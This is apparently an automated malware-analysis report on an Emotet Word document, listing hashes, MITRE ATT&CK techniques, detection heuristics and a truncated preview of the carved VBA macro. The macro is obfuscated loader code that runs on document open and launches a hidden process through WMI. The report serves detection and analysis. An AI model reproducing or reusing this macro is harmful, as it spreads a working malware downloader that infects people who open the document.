Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 eb49288707c4dcf9…

MALICIOUS

Office (OLE)

225.9 KB Created: 2020-08-11 13:58:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 41ec03ee487a00395775805e6e53eef5 SHA-1: 3fb211d476b4a840a6243d515c8dc5eee21205a3 SHA-256: eb49288707c4dcf92d90a2950f435bdbde3de3c0db6b9016085bb36e68ff385c
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution routine and a hidden UserForm command stager. This pattern is characteristic of Emotet, which typically uses such methods to download and execute further malicious content. The ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9273606-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9273606-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4272 bytes
SHA-256: 39f1cee8c728066f2f81952a6d658b72bd8dfe3b52da823342fe05597edf4c94
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LPSVGraaygbsu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
EAEVPlkkqpiqnz.HYMARgdremcvh
End Sub


Attribute VB_Name = "EAEVPlkkqpiqnz"
Attribute VB_Base = "0{1E8066C6-D3A4-4EA9-9C46-6909FBFACC74}{98363E3C-663C-4A9F-A608-F017EC2C177B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function HYMARgdremcvh()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
FGIFIgdfmwaixc = EAEVPlkkqpiqnz.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
BEPSVnexpenffvnb = ChrW(FGIFIgdfmwaixc + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
ZJVDWgwzpfve = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + BEPSVnexpenffvnb + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + EAEVPlkkqpiqnz.XENUAnvdrsai + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
YVBJWlusddoxyma = VEJMIheaoobz(ZJVDWgwzpfve)
Dim JtF1ÔVIsgfW As Variant
Set UHIYTcnjljldmv = CreateObject(YVBJWlusddoxyma)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
IUAFOcwxcsrbsdsi = EAEVPlkkqpiqnz.NNYBVhehsucn.ControlTipText
Dim aKHZFGTowB As Currency
HVBPAlxpjaccymttcbd = m2m3b5 + (YVBJWlusddoxyma + BEPSVnexpenffvnb + EAEVPlkkqpiqnz.VZFVYlbgubem.ControlTipText + IUAFOcwxcsrbsdsi)
Dim fIspInaCW As String
EPVQTrqgxueucbby = HVBPAlxpjaccymttcbd + EAEVPlkkqpiqnz.XENUAnvdrsai
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set MZTGKzbjhpxo = OJABNzowcnqotaxp(EPVQTrqgxueucbby)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", UHIYTcnjljldmv. _
Create(CEQTXvqmkwsc, PGLFXmqfmybgto, MZTGKzbjhpxo), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function CEQTXvqmkwsc()
n21bh3 = EAEVPlkkqpiqnz.BBMXDgcsxvuuo.Pages(vbOK).Caption
CEQTXvqmkwsc = VEJMIheaoobz(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function OJABNzowcnqotaxp(YDXWAgendjvriiujkjp)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set OJABNzowcnqotaxp = CreateObject(YDXWAgendjvriiujkjp)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
OJABNzowcnqotaxp. _
showwindow = WJPCSmuyjjkkfkmr + VAHRGfzvkfjblp
Dim UMbU As Object
End Function
Function VEJMIheaoobz(YBNMSvgbpawjylmrftr)
EQPKRpffkzhwa = YBNMSvgbpawjylmrftr
Dim ZvdC As Currency
SHQUSncwokptetfvfir = Split _
(EQPKRpffkzhwa, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
ONYJQmbfvfnmhu = mmm2 + Join(SHQUSncwokptetfvfir, msnj2)
Dim r4áAANisy As Integer
r4áAANisy = 4
Do While r4áAANisy < 4 + 5
r4áAANisy = r4áAANisy + 6: DoEve
... (truncated)

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